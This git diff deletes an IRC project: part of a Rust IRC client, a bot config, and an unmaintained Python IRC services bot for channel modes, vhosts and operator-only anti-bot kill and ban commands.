- pub fn data_mut(&mut self) -> &mut TypeMap {
- &mut self.data
- }
-
- pub fn connect(&mut self) -> Result<(), Box<dyn Error>> {
- let domain = format!("{}:{}", self.host, self.port);
-
- let mut addrs = domain
- .to_socket_addrs()
- .expect("Unable to get addrs from domain {domain}");
-
- let sock = addrs
- .next()
- .expect("Unable to get ip from addrs: {addrs:?}");
-
- let stream = TcpStream::connect(sock)?;
- stream.set_nonblocking(true)?;
-
- if self.ssl {
- let connector = TlsConnector::new().unwrap();
- let mut tls_stream = connector.connect(&self.host, stream);
-
- while tls_stream.is_err() {
- tls_stream = match tls_stream.err().unwrap() {
- native_tls::HandshakeError::Failure(f) => panic!("{f}"),
- native_tls::HandshakeError::WouldBlock(mid_handshake) => {
- mid_handshake.handshake()
- }
- }
- }
-
- self.stream = Some(Stream::Tls(tls_stream.unwrap()));
- return Ok(());
- }
-
- self.stream = Some(Stream::Plain(stream));
- Ok(())
- }
-
- fn join(&mut self) {
- for i in 0..self.channels.len() {
- let channel = &self.channels[i];
- if channel.key.is_some() {
- self.queue(&format!(
- "JOIN {} {}",
- channel.name,
- channel.key.as_ref().unwrap()
- ))
- } else {
- self.queue(&format!("JOIN {}", channel.name))
- }
- }
- }
-
- fn join_manual(&mut self, channel: &str, key: Option<&str>) {
- if key.is_some() {
- self.queue(&format!("JOIN {} {}", channel, key.unwrap()));
- } else {
- self.queue(&format!("JOIN {}", channel));
- }
- }
-
- pub fn register(&mut self) {
- self.queue(&format!("USER {} 0 * {}", self.user, self.real));
- self.queue(&format!("NICK {}", self.nick));
- }
-
- pub fn run(&mut self) {
- // main loop!
- loop {
- self.recv().unwrap();
- self.send().unwrap();
- self.handle_commands();
-
- std::thread::sleep(Duration::from_millis(50));
- }
- }
-
- pub fn update(&mut self) {
- self.recv().unwrap();
- self.send().unwrap();
- self.handle_commands();
- }
-
- fn recv(&mut self) -> Result<(), Box<dyn Error>> {
- let Some(stream) = &mut self.stream else { panic!("stream gwan boom."); };
-
- let mut lines = VecDeque::new();
-
- loop {
- let mut buf = [0; MAX_MSG_LEN];
-
- let bytes_read = match stream.read(&mut buf) {
- Ok(bytes_read) => bytes_read,
- Err(err) => match err.kind() {
- ErrorKind::WouldBlock => {
- self.recv_queue.append(&mut lines);
- return Ok(());
- }
- _ => panic!("{:?}", err),
- },
- };
-
- if bytes_read == 0 {
- break;
- }
-
- let buf = &buf[..bytes_read];
-
- let mut str_buf = self.partial_line.clone();
- str_buf += String::from_utf8_lossy(buf).into_owned().as_str();
- let new_lines: Vec<&str> = str_buf.split("\r\n").collect();
- let len = new_lines.len();
-
- for (index, line) in new_lines.into_iter().enumerate() {
- if index == len - 1 {
- self.partial_line = line.to_owned();
- break;
- }
- lines.push_back(line.to_owned());
- }
- }
- Ok(())
- }
-
- fn send(&mut self) -> Result<(), Box<dyn Error>> {
- let Some(stream) = &mut self.stream else { panic!("stream gwan boom."); };
-
- while self.send_queue.len() > 0 {
- let msg = self.send_queue.pop_front().unwrap();
-
- let bytes_written = match stream.write(msg.as_bytes()) {
- Ok(bytes_written) => bytes_written,
- Err(err) => match err.kind() {
- ErrorKind::WouldBlock => {
- println!("would block send.");
- return Ok(());
- }
- _ => panic!("{err}"),
- },
- };
-
- if bytes_written < msg.len() {
- self.send_queue.push_front(msg[bytes_written..].to_owned());
- }
- }
-
- Ok(())
- }
-
- fn handle_commands(&mut self) {
- while self.recv_queue.len() != 0 {
- let owned_line = self.recv_queue.pop_front().unwrap();
- let line = owned_line.as_str();
-
- println!("<< {:?}", line);
-
- let message: IrcMessage = line.into();
-
- self.handle_message(&message);
- }
- }
-
- fn handle_message(&mut self, message: &IrcMessage) {
- match message.command {
- IrcCommand::PING => self.event_ping(&message.parameters[0]),
- IrcCommand::RPL_WELCOME => self.event_welcome(),
- IrcCommand::ERR_NICKNAMEINUSE => self.update_nick(&format!("{}_", &self.nick)),
- IrcCommand::KICK => self.event_kick(
- message.parameters[0],
- message.parameters[1],
- &message.parameters[3..].join(" "),
- ),
- IrcCommand::QUIT => self.event_quit(message.prefix.as_ref().unwrap()),
- IrcCommand::INVITE => self.event_invite(
- message.prefix.as_ref().unwrap(),
- &message.parameters[0][1..],
- ),
- IrcCommand::PRIVMSG => self.event_privmsg(
- message.prefix.as_ref().unwrap(),
- &message.parameters[0],
- &message.parameters[1..].join(" ")[1..],
- ),
- IrcCommand::JOIN => self.event_join(
- message.prefix.as_ref().unwrap(),
- &message.parameters[0][1..],
- ),
- _ => {}
- }
- }
-
- fn queue(&mut self, msg: &str) {
- let mut msg = msg.replace("\r", "").replace("\n", "");
-
- if msg.len() > MAX_MSG_LEN - "\r\n".len() {
- let mut i = 0;
-
- while i < msg.len() {
- let max = (MAX_MSG_LEN - "\r\n".len()).min(msg[i..].len());
-
- let mut m = msg[i..(i + max)].to_owned();
- println!(">> {:?}", m);
- m = m + "\r\n";
- self.send_queue.push_back(m);
- i += MAX_MSG_LEN - "\r\n".len()
- }
- } else {
- println!(">> {:?}", msg);
- msg = msg + "\r\n";
- self.send_queue.push_back(msg);
- }
- }
-
- fn event_ping(&mut self, ping_token: &str) {
- self.queue(&format!("PONG {}", ping_token));
- }
-
- fn event_welcome(&mut self) {
- self.join();
- }
-
- fn update_nick(&mut self, new_nick: &str) {
- self.nick = new_nick.to_owned();
- self.queue(&format!("NICK {}", self.nick));
- }
-
- fn event_kick(&mut self, channel: &str, nick: &str, message: &str) {
- if nick != &self.nick {
- return;
- }
-
- println!("we got kicked!");
- println!("{message}");
-
- //TODO: fix this in case a key is needed.
- self.join_manual(channel, None);
- }
-
- fn event_quit(&mut self, prefix: &IrcPrefix) {
- if prefix.nick != self.nick {
- return;
- }
-
- println!("need to reconnect.");
- std::thread::sleep(Duration::from_secs(15));
- self.connect().unwrap();
- self.register();
- }
-
- fn event_invite(&mut self, prefix: &IrcPrefix, channel: &str) {
- println!("{} invited us to {}", prefix.nick, channel);
- }
-
- fn execute_default(&mut self, prefix: &IrcPrefix, channel: &str, message: &str) {
- let Some(default_func) = self.default_system else { return; };
-
- let mut elements = message.split_whitespace();
- elements.next();
-
- let Some(output) = default_func(self, prefix, elements.collect()) else {
- return;
- };
-
- for line in output {
- self.privmsg(channel, &line);
- }
- }
-
- fn event_privmsg(&mut self, prefix: &IrcPrefix, channel: &str, message: &str) {
- if message.starts_with(&self.cmdkey) {
- let mut elements = message.split_whitespace();
- let sys_name = &elements.next().unwrap()[1..];
-
- let Some(func) = self.systems.get(sys_name) else {
- self.execute_default(prefix, channel, message);
- return;
- };
-
- let Some(output) = func(self, prefix, elements.collect()) else {
- return;
- };
-
- for line in output {
- self.privmsg(channel, &line);
- }
- }
- }
-
- fn event_join(&mut self, prefix: &IrcPrefix, _channel: &str) {
- if prefix.nick != self.nick {
- return;
- }
- }
-
- pub fn privmsg(&mut self, channel: &str, message: &str) {
- self.queue(&format!("PRIVMSG {} :{}", channel, message));
- }
-
- pub fn privmsg_all(&mut self, message: &str) {
- for i in 0..self.channels.len() {
- let channel = &self.channels[i];
- self.queue(&format!("PRIVMSG {} :{}", channel.name, message));
- }
- }
-}
diff --git a/irc/bots/drugwars/irc_config.yaml b/irc/bots/drugwars/irc_config.yaml
@@ -1,12 +0,0 @@
-host: localhost
-port: 6697
-ssl: true
-
-channels:
- - name: "#drugwars"
-
-nick: abc
-user: manhello
-real: manhello
-
-cmdkey: .
-\ No newline at end of file
diff --git a/irc/bots/ircs/README.md b/irc/bots/ircs/README.md
@@ -1,42 +0,0 @@
-###### Information
-This project is no longer being maintained & is made available for historical purposes only.
-
-The IRCS project is basically a stripped down version of [Anope](https://www.anope.org/)'s bots all crammed into one & was developed for usage with [UnrealIRCd](https://www.unrealircd.org/) 4.
-
-###### Setup
-You will get the lowest ping having the bot connect to localhost on the same box as the IRCd is running.
-
-The bot *will* require network operator privledges in order to work, so make sure you add that into your IRCd configuration.
-
-Edit [`config.py`](https://github.com/acidvegas/ircs/blob/master/ircs/core/config.py) and change the `oper_passwd` and the `admin_host` settings.
-
-###### Commands
-| Mode Command | Description | Restriction |
-| --- | --- | --- |
-| !mode \<chan> | Read all the auto-mode hosts for \<channel>. | *+q only* |
-| !mode \<chan> \<mode> | Read all the \<mode> auto-mode hosts for \<channel>. | *+q only* |
-| !mode \<chan> \<mode> +\<ident> | Automatically +\<mode> a user matching \<ident>. | *+q only* |
-| !mode \<chan> \<mode> -\<ident> | Remove automatic +\<mode> from a user matching \<ident>. | *+q only* |
-| !sync \<chan> | Set all the channels stored in the database for \<channel>. | *+q only* |
-
-| Vhost Command | Description | Restriction |
-| --- | --- | --- |
-| !vhost add \<ident> \<vhost> | Change the host of \<ident> to \<vhost> on connect. | *admin only*|
-| !vhost drop \<ident> | Delete the VHOST registered to \<ident>. | *admin only* |
-| !vhost list | Return a list of all activated VHOSTs. | *admin only* |
-| !vhost on | Turn on your VHOST. | *vhost users only* |
-| !vhost off | Turn off your VHOST. | *vhost users only*|
-| !vhost sync | Change your current hostmask to your VHOST. | *vhost users only* |
-
-| Admin Command | Description | Restriction |
-| --- | --- | --- |
-| !husers | List all users connected but not joined to any channel(s). | *admin only* |
-| !husers join \<channel> | Force join all hidden users into \<channe>. | *admin only* |
-| !husers kill | Kill the connection of all hidden users. | *admin only* |
-| !husers gline | G:Line the connection of all hidden users. | *admin only* |
-| !husers gzline | GZ:Line the connection of all hidden users. | *admin only* |
-
-###### Mirrors
-- [acid.vegas](https://acid.vegas/random) *(main)*
-- [GitHub](https://github.com/acidvegas/random)
-- [GitLab](https://gitlab.com/acidvegas/random)
diff --git a/irc/bots/ircs/ircs/core/config.py b/irc/bots/ircs/ircs/core/config.py
@@ -1,20 +0,0 @@
-#!/usr/bin/env python
-# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
-# config.py
-
-# Connection
-server = 'localhost'
-port = 6667
-use_ipv6 = False
-use_ssl = False
-vhost = None
-password = None
-
-# Identity
-nickname = 'IRCS'
-username = 'ircs'
-realname = 'IRC Services Bot'
-
-# Admin
-admin_host = 'CHANGEME'
-oper_passwd = 'CHANGEME'
diff --git a/irc/bots/ircs/ircs/core/debug.py b/irc/bots/ircs/ircs/core/debug.py
@@ -1,70 +0,0 @@
-#!/usr/bin/env python
-# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
-# debug.py
-
-import ctypes
-import os
-import sys
-import time
-import string
-
-def check_data(data):
- if all(c in string.printable for c in data):
- return True
- else:
- return False
-
-def check_privileges():
- if check_windows():
- if ctypes.windll.shell32.IsUserAnAdmin() != 0:
- return True
- else:
- return False
- else:
- if os.getuid() == 0 or os.geteuid() == 0:
- return True
- else:
- return False
-
-def check_version(major):
- if sys.version_info.major == major:
- return True
- else:
- return False
-
-def check_windows():
- if os.name == 'nt':
- return True
- else:
- return False
-
-def clear():
- if check_windows():
- os.system('cls')
- else:
- os.system('clear')
-
-def error(msg, reason=None):
- if reason:
- print('{0} | [!] - {1} ({2})'.format(get_time(), msg, str(reason)))
- else:
- print('{0} | [!] - {1}'.format(get_time(), msg))
-
-def error_exit(msg):
- raise SystemExit('{0} | [!] - {1}'.format(get_time(), msg))
-
-def get_time():
- return time.strftime('%I:%M:%S')
-
-def info():
- clear()
- print(''.rjust(56, '#'))
- print('#{0}#'.format(''.center(54)))
- print('#{0}#'.format('IRC Services (IRCS)'.center(54)))
- print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
- print('#{0}#'.format('https://acid.vegas/ircs'.center(54)))
- print('#{0}#'.format(''.center(54)))
- print(''.rjust(56, '#'))
-
-def irc(msg):
- print('{0} | [~] - {1}'.format(get_time(), msg))
-\ No newline at end of file
diff --git a/irc/bots/ircs/ircs/core/functions.py b/irc/bots/ircs/ircs/core/functions.py
@@ -1,113 +0,0 @@
-#!/usr/bin/env python
-# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
-# functions.py
-
-import inspect
-import os
-import sqlite3
-import string
-
-# Database
-database_dir = os.path.join(os.path.dirname(os.path.realpath(inspect.stack()[-1][1])), 'data')
-database_file = os.path.join(database_dir, 'ircs.db')
-
-# Globals
-db = sqlite3.connect(database_file)
-sql = db.cursor()
-
-class Database:
- def check():
- tables = sql.execute('SELECT name FROM sqlite_master WHERE type=\'table\'').fetchall()
- if len(tables):
- return True
- else:
- return False
-
- def create():
- sql.execute('CREATE TABLE CHANSERV (CHANNEL TEXT NOT NULL, IDENT TEXT NOT NULL, MODE TEXT NOT NULL);')
- sql.execute('CREATE TABLE HOSTSERV (IDENT TEXT NOT NULL, VHOST TEXT NOT NULL, STATUS TEXT NOT NULL);')
- db.commit()
-
-
-
-class ChanServ:
- def add_mode(chan, ident, mode):
- sql.execute('INSERT INTO CHANSERV (CHANNEL,IDENT,MODE) VALUES (?, ?, ?)', (chan, ident, mode))
- db.commit()
-
- def channels():
- return set(list(item[0] for item in sql.execute('SELECT CHANNEL FROM CHANSERV ORDER BY CHANNEL ASC').fetchall()))
-
- def del_mode(chan, ident):
- sql.execute('DELETE FROM CHANSERV WHERE CHANNEL=? AND IDENT=?', (chan, ident))
- db.commit()
-
- def drop(chan):
- sql.execute('DELETE FROM CHANSERV WHERE CHANNEL=?', (chan,))
- db.commit()
-
- def get_mode(chan, ident):
- data = sql.execute('SELECT MODE FROM CHANSERV WHERE CHANNEL=? AND IDENT=?', (chan, ident)).fetchone()
- if data:
- return data[0]
- else:
- return None
-
- def hosts():
- return set(list(item[0].split('@')[1] for item in sql.execute('SELECT IDENT FROM CHANSERV', (channel,)).fetchall()))
-
- def idents(chan, mode=None):
- if mode:
- return list(item[0] for item in sql.execute('SELECT IDENT FROM CHANSERV WHERE CHANNEL=? AND MODE=?', (channel, mode)).fetchall())
- else:
- return list(item[0] for item in sql.execute('SELECT IDENT FROM CHANSERV WHERE CHANNEL=?', (channel,)).fetchall())
-
- def read(channel, mode=None):
- if mode:
- return sql.execute('SELECT IDENT FROM CHANSERV WHERE CHANNEL=? AND MODE=? ORDER BY CHANNEL ASC, MODE ASC, IDENT ASC', (channel, mode)).fetchall()
- else:
- return sql.execute('SELECT IDENT,MODE FROM CHANSERV WHERE CHANNEL=? ORDER BY CHANNEL ASC, MODE ASC, IDENT ASC', (channel,)).fetchall()
-
-
-
-class HostServ:
- def add(ident, vhost):
- sql.execute('INSERT INTO HOSTSERV (IDENT,VHOST,STATUS) VALUES (?, ?, \'pending\')', (ident, vhost))
- db.commit()
-
- def delete(ident):
- sql.execute('DELETE FROM HOSTSERV WHERE IDENT=?', (ident,))
- db.commit()
-
- def get_vhost(ident, active=False):
- data = sql.execute('SELECT VHOST FROM HOSTSERV WHERE IDENT=? AND STATUS=\'on\'', (ident,)).fetchone()
- if data:
- return data[0]
- else:
- return None
-
- def get_status(ident):
- data = sql.execute('SELECT STATUS FROM HOSTSERV WHERE IDENT=?', (ident,)).fetchone()
- if data:
- return data[0]
- else:
- return None
-
- def hosts():
- return set(list(item[0].split('@')[1] for item in sql.execute('SELECT IDENT FROM CHANSERV', (channel,)).fetchall()))
-
- def idents():
- return list(item[0] for item in sql.execute('SELECT IDENT FROM HOSTSERV').fetchall())
-
- def pending():
- return sql.execute('SELECT IDENT,VHOST FROM HOSTSERV WHERE STATUS=\'pending\' ORDER BY IDENT ASC').fetchall()
-
- def read():
- return sql.execute('SELECT IDENT,VHOST FROM HOSTSERV ORDER BY IDENT ASC').fetchall()
-
- def set_status(ident, status):
- sql.execute('UPDATE HOSTSERV SET STATUS=? WHERE IDENT=?', (status, ident))
- db.commit()
-
- def vhosts():
- return list(item[0] for item in sql.execute('SELECT VHOST FROM HOSTSERV').fetchall())
-\ No newline at end of file
diff --git a/irc/bots/ircs/ircs/core/irc.py b/irc/bots/ircs/ircs/core/irc.py
@@ -1,433 +0,0 @@
-#!/usr/bin/env python
-# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
-# irc.py
-
-import socket
-import ssl
-import time
-
-import config
-import debug
-from functions import Database, ChanServ, HostServ
-
-# Formatting Control Characters / Color Codes
-bold = '\x02'
-italic = '\x1D'
-underline = '\x1F'
-reverse = '\x16'
-reset = '\x0f'
-white = '00'
-black = '01'
-blue = '02'
-green = '03'
-red = '04'
-brown = '05'
-purple = '06'
-orange = '07'
-yellow = '08'
-light_green = '09'
-cyan = '10'
-light_cyan = '11'
-light_blue = '12'
-pink = '13'
-grey = '14'
-light_grey = '15'
-
-class IRC(object):
- server = config.server
- port = config.port
- use_ipv6 = config.use_ipv6
- use_ssl = config.use_ssl
- vhost = config.vhost
- password = config.password
- nickname = config.nickname
- username = config.username
- realname = config.realname
- oper_passwd = config.oper_passwd
- admin_host = config.admin_host
-
- def __init__(self):
- self.husers = list()
- self.last = dict()
- self.sock = None
-
- def action(self, chan, msg):
- self.sendmsg(chan, '\x01ACTION {0}\x01'.format(msg))
-
- def chghost(self, nick, host):
- self.raw('CHGHOST {0} {1}'.format(nick, host))
-
- def color(self, msg, foreground, background=None):
- if background:
- return '\x03{0},{1}{2}{3}'.format(foreground, background, msg, reset)
- else:
- return '\x03{0}{1}{2}'.format(foreground, msg, reset)
-
- def connect(self):
- try:
- self.create_socket()
- self.sock.connect((self.server, self.port))
- if self.password:
- self.raw('PASS ' + self.password)
- self.raw('USER {0} 0 * :{1}'.format(self.username, self.realname))
- self.raw('NICK ' + self.nickname)
- except socket.error as ex:
- debug.error('Failed to connect to IRC server.', ex)
- self.event_disconnect()
- else:
- self.listen()
-
- def create_socket(self):
- if self.use_ipv6:
- self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
- else:
- self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- if self.vhost:
- self.sock.bind((self.vhost, 0))
- if self.use_ssl:
- self.sock = ssl.wrap_socket(self.sock)
-
- def error(self, target, msg, reason=None):
- if reason:
- self.sendmsg(target, '[{0}] {1} {2}'.format(self.color('ERROR', red), msg, self.color('({0})'.format(str(reason)), grey)))
- else:
- self.sendmsg(target, '[{0}] {1}'.format(self.color('ERROR', red), msg))
-
- def event_connect(self):
- self.mode(self.nickname, '+Bd')
- self.oper(self.username, self.oper_passwd)
- if Database.check():
- for channel in ChanServ.channels():
- self.join(channel)
- else:
- Database.create()
-
- def event_connection(self, nick, ident):
- vhost = HostServ.get_vhost(ident, True)
- if vhost:
- self.chghost(nick, vhost)
-
- def event_disconnect(self):
- self.sock.close()
- time.sleep(10)
- self.connect()
-
- def event_end_of_who(self):
- if self.last['cmd'] == 'husers':
- if self.husers:
- self.sendmsg(self.last['nick'], '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(self.husers), grey)))
- else:
- self.error(self.last['nick'], 'No hidden users found.')
-
- def event_join(self, nick, ident, chan):
- mode = ChanServ.get_mode(chan, ident)
- if mode:
- self.mode(chan, '+{0} {1}'.format(mode, nick))
-
- def event_kick(self, chan, kicked):
- if kicked == self.nickname:
- if chan in Database.channels():
- self.join(chan)
-
- def event_nick_in_use(self):
- debug.error_exit('IRCS is already running.')
-
- def event_notice(self, nick, data):
- if '.' in nick or nick == self.server:
- args = data.split()
- if 'Client connecting' in data:
- nick = args[6]
- ident = args[7][1:][:-1]
- self.event_connection(nick, ident)
-
- def event_private(self, nick, ident, msg):
- try:
- args = msg.split()
- cmd = args[0][1:]
- host = ident.split('@')[1]
- if cmd == 'husers' and host == self.admin_host:
- if len(args) == 1:
- self.husers = list()
- self.last = {'nick':nick,'cmd':'husers'}
- self.who('I', '*')
- elif len(args) == 2:
- if args[1] == 'kill':
- if self.husers:
- self.action(nick, 'Killing all hidden users...')
- for item in self.husers:
- self.kill(item['nick'], 'Killed by IRCS anti-bot protection.')
- else:
- self.error(nick, 'Hidden users list is empty.', 'Make sure you run !husers first')
- elif args[1] == 'gzline':
- if self.husers:
- self.action(nick, 'Z:Lining all hidden users...')
- for item in self.husers:
- self.gzline(item['host'], '1d', 'Banned by IRCS anti-bot protection.')
- else:
- self.error(nick, 'Hidden users list is empty.', 'Make sure you run !husers first')
- elif len(args) == 3:
- if args [1] == 'join':
- channel = args[2]
- if channel.startswith('#') and len(channel) <= 20:
- if self.husers:
- self.action(nick, 'Joining all hidden users to {0}...'.format(channel))
- for item in self.husers:
- self.sajoin(item['nick'], channel)
- else:
- self.error(nick, 'Hidden users list is empty.', 'Make sure you run !husers first')
- else:
- self.error(nick, 'Invalid arguments.')
- else:
- self.error(nick, 'Invalid arguments.')
- else:
- self.error(nick, 'Invalid arguments.')
- elif cmd == 'mode':
- if len(args) > 1:
- channel = args[1]
- if channel[:1] == '#' and len(channel) <= 20 and debug.check_data(channel):
- if ChanServ.get_mode(channel, ident) == 'q' or host == self.admin_host:
- if len(args) == 2:
- if channel in ChanServ.channels():
- data = ChanServ.read(channel)
- self.sendmsg(nick, '[{0}]'.format(self.color(channel, purple)))
- for row in data:
- self.sendmsg(nick, '{0} | {1}'.format(self.color('+' + row[1], grey), self.color(row[0], yellow)))
- self.sendmsg(nick, '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(data), grey)))
- else:
- self.error(nick, self.color(channel, purple) + ' does not exist.')
- elif len(args) == 3:
- if args[2] in ('a','h','o','v','q'):
- if channel in ChanServ.channels():
- mode = args[2]
- data = ChanServ.read(channel, mode)
- if data:
- self.sendmsg(nick, '[{0}] {1}'.format(self.color(channel, purple) , self.color('(+{0})'.format(mode), grey)))
- for row in data:
- self.sendmsg(nick, self.color(row[0], yellow))
- self.sendmsg(nick, '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(data), grey)))
- else:
- self.error(nick, self.color('+{0}'.format(mode), grey) + ' is empty.')
- else:
- self.error(nick, self.color(channel, purple) + ' does not exist.')
- else:
- self.error(nick, 'Invalid arguments.')
- elif len(args) == 4:
- if args[2] in ('a','h','o','v','q') and args[3][:1] in '+-' and len(args[3]) <= 63 and debug.check_data(args[3]):
- mode = args[2]
- if mode == 'q' and host != self.admin_host:
- self.error(nick, 'You do not have permission to change this mode.')
- else:
- action = args[3][:1]
- ident = args[3][1:]
- if action == '+':
- if not ChanServ.get_mode(channel, ident):
- ChanServ.add_mode(channel, ident, mode)
- self.sendmsg(nick, '{0} {1} has been {2} to the {3} database.'.format(self.color(ident, light_blue), self.color('(+{0})'.format(mode), grey), self.color('added', green), self.color(channel, purple)))
- else:
- self.error(nick, '{0} already exists in the {1} database.'.format(self.color(ident, light_blue), self.color(channel, purple)))
- elif action == '-':
- if ChanServ.get_mode(channel, ident):
- ChanServ.del_mode(channel, ident)
- self.sendmsg(nick, '{0} {1} has been {2} from the {3} database.'.format(self.color(ident, light_blue), self.color('(+{0})'.format(mode), grey), self.color('removed', red), self.color(channel, purple)))
- else:
- self.error(nick, '{0} does not exist in the {1} database.'.format(self.color(ident, light_blue), self.color(channel, purple)))
- else:
- self.error(nick, 'Invalid arguments.')
- else:
- self.error(nick, 'Invalid arguments.')
- else:
- self.error(nick, 'You do not have permission to use this command.')
- else:
- self.error(nick, 'Invalid arguments.')
- else:
- self.error(nick, 'Invalid arguments.')
- elif cmd == 'sync':
- if len(args) == 2:
- channel = args[1]
- if channel[:1] == '#' and len(channel) <= 20 and debug.check_data(channel):
- if channel in ChanServ.channels():
- if ChanServ.get_mode(channel, ident) == 'q' or host == self.admin_host:
- self.action(nick, 'Syncing all modes in {0}...'.format(color(channel, purple)))
- self.last['cmd'] = 'sync ' + channel
- self.who('h', '*')
- else:
- self.error(nick, 'You do not have permission to use this command.')
- else:
- self.error(nick, '{0} does not exist.'.format(color(channel, purple)))
- else:
- self.error(nick, 'Invalid arguments.')
- else:
- self.error(nick, 'Invalid arguments.')
- elif cmd == 'vhost':
- if len(args) == 2:
- if args[1] == 'list':
- if host == self.admin_host:
- vhosts = HostServ.read()
- if vhosts:
- self.sendmsg(nick, '[{0}]'.format(self.color('Registered Vhosts', purple)))
- for vhost in vhosts:
- self.sendmsg(nick, '{0} {1}'.format(self.color(vhost[0], yellow), self.color('({0})'.format(vhost[1]), grey)))
- self.sendmsg(nick, '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(vhosts), grey)))
- else:
- self.error(nick, 'Vhost list is empty.')
- else:
- self.error(nick, 'You do not have permission to use this command.')
- elif args[1] == 'off':
- status = HostServ.get_status(ident)
- if status == 'off':
- self.error(nick, 'VHOST is already turned off.')
- elif status == 'on':
- HostServ.set_status(ident, 'off')
- self.sendmsg(nick, 'VHOST has been turned ' + color('off', red))
- else:
- self.error(nick, 'You do not have a registered VHOST.')
- elif args[1] == 'on':
- status = HostServ.get_status(ident)
- if status == 'off':
- HostServ.set_status(ident, 'on')
- self.sendmsg(nick, 'VHOST has been turned ' + color('on', green))
- elif status == 'on':
- self.error(nick, 'Your VHOST is already turned on.')
- else:
- self.error(nick, 'You do not have a registered VHOST.')
- elif args[1] == 'sync':
- vhost = HostServ.get_vhost(ident)
- if host == vhost:
- self.error(nick, 'Your VHOST is already synced and working.')
- elif vhost:
- self.action(nick, 'Syncing VHOST...')
- self.chghost(nick, vhost)
- else:
- self.error(nick, 'You do not have a registered VHOST.')
- elif len(args) == 3:
- if args[1] == 'drop':
- if host == self.admin_host:
- ident = args[2]
- if ident in HostServ.idents():
- HostServ.delete(ident)
- self.sendmsg(nick, '{0} has been {1} from the vhost database.'.format(self.color(ident, light_blue), self.color('removed', red)))
- else:
- self.error(nick, '{0} does not have a vhost.'.format(self.color(ident, light_blue)))
- else:
- self.error(nick, 'You do not have permission to use this command.')
- elif len(args) == 4:
- if args[1] == 'add':
- if host == self.admin_host:
- ident = args[2]
- vhost = args[3]
- if ident not in HostServ.idents():
- HostServ.add(ident, vhost)
- self.sendmsg(nick, '{0} has been {1} from the database.'.format(self.color(ident, light_blue), self.color('added', green)))
- else:
- self.error(nick, '{0} is already registered.'.format(color(ident, light_blue)))
- else:
- self.error(nick, 'You do not have permission to use this command.')
- else:
- self.error(nick, 'Invalid arguments.')
- else:
- self.error(nick, 'Invalid arguments.')
- except Exception as ex:
- self.error(nick, 'Unexpected error has occured.', ex)
-
- def event_who(self, chan, user, host, nick):
- if self.last:
- if self.last['cmd'] == 'husers':
- if chan == '*':
- self.husers.append({'user':user,'host':host,'nick':nick})
- self.sendmsg(self.last['nick'], '{0} {1}'.format(self.color(nick, yellow), self.color('({0}@{1})'.format(user, host), grey)))
- elif self.last['cmd'].startswith('sync'):
- channel = self.last['cmd'].split()[1]
- if chan == channel:
- mode = ChanServ.mode(chan, '{0}@{1]'.format(user, host))
- if mode:
- self.mode(chan, '+{0} {1}'.format(mode, nick))
-
- def gzline(self, host, duration, msg):
- self.raw('gzline *@{1} {2} {3}'.format(user, host, duration, msg))
-
- def handle_events(self, data):
- args = data.split()
- if args[0] == 'PING':
- self.raw('PONG ' + args[1][1:])
- elif args[1] == '001':
- self.event_connect()
- elif args[1] == '315':
- self.event_end_of_who()
- elif args[1] == '352':
- chan = args[3]
- user = args[4]
- host = args[5]
- nick = args[7]
- self.event_who(chan, user, host, nick)
- elif args[1] == '433':
- self.event_nick_in_use()
- elif args[1] == 'NOTICE':
- nick = args[0][1:]
- self.event_notice(nick, data)
- elif args[1] in ('JOIN','KICK','PRIVMSG'):
- nick = args[0].split('!')[0][1:]
- if nick != self.nickname:
- chan = args[2]
- if args[1] == 'JOIN':
- host = args[0].split('!')[1]
- self.event_join(nick, host, chan[1:])
- elif args[1] == 'KICK':
- kicked = args[3]
- self.event_kick(chan, kicked)
- elif args[1] == 'PRIVMSG':
- ident = args[0].split('!')[1]
- msg = data.split('{0} PRIVMSG {1} :'.format(args[0], chan))[1]
- if msg.startswith('!'):
- if chan == self.nickname:
- self.event_private(nick, ident, msg)
-
- def join(self, chan):
- self.raw('JOIN ' + chan)
- self.mode(chan, '+q ' + self.nickname)
-
- def kill(self, nick, reason):
- self.raw('KILL {0} {1}'.format(nick, reason))
-
- def listen(self):
- while True:
- try:
- data = self.sock.recv(1024).decode('utf-8')
- if data:
- for line in (line for line in data.split('\r\n') if line):
- debug.irc(line)
- if line.startswith('ERROR :Closing Link:'):
- raise Exception('Connection has closed.')
- elif len(line.split()) >= 2:
- self.handle_events(line)
- else:
- debug.error('No data recieved from server.')
- break
- except (UnicodeDecodeError,UnicodeEncodeError):
- debug.error('Unicode error has occured.')
- except Exception as ex:
- debug.error('Unexpected error occured.', ex)
- break
- self.event_disconnect()
-
- def mode(self, target, mode):
- self.raw('MODE {0} {1}'.format(target, mode))
-
- def oper(self, nick, password):
- self.raw('OPER {0} {1}'.format(nick, password))
-
- def part(self, chan, msg):
- self.raw('PART {0} {1}'.format(chan, msg))
-
- def raw(self, msg):
- self.sock.send(bytes(msg + '\r\n', 'utf-8'))
-
- def sajoin(self, nick, chan):
- self.raw('SAJOIN {0} {1}'.format(nick, chan))
-
- def sendmsg(self, target, msg):
- self.raw('PRIVMSG {0} :{1}'.format(target, msg))
-
- def who(self, flag, args):
- self.raw('who +{0} {1}'.format(flag, args))
-
-IRCS = IRC()
-\ No newline at end of file
diff --git a/irc/bots/ircs/ircs/data/.gitignore b/irc/bots/ircs/ircs/data/.gitignore
@@ -1 +0,0 @@
-!.gitignore
-\ No newline at end of file
diff --git a/irc/bots/ircs/ircs/ircs.py b/irc/bots/ircs/ircs/ircs.py
@@ -1,20 +0,0 @@
-#!/usr/bin/env python
-# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
-# ircs.py
-
-import os
-import sys
-
-sys.dont_write_bytecode = True
-os.chdir(sys.path[0] or '.')
-sys.path += ('core',)
-
-import debug
-import irc
-
-debug.info()
-if not debug.check_version(3):
- debug.error_exit('IRCS requires Python 3!')
-if debug.check_privileges():
- debug.error_exit('Do not run IRCS as admin/root!')
-irc.IRCS.connect()
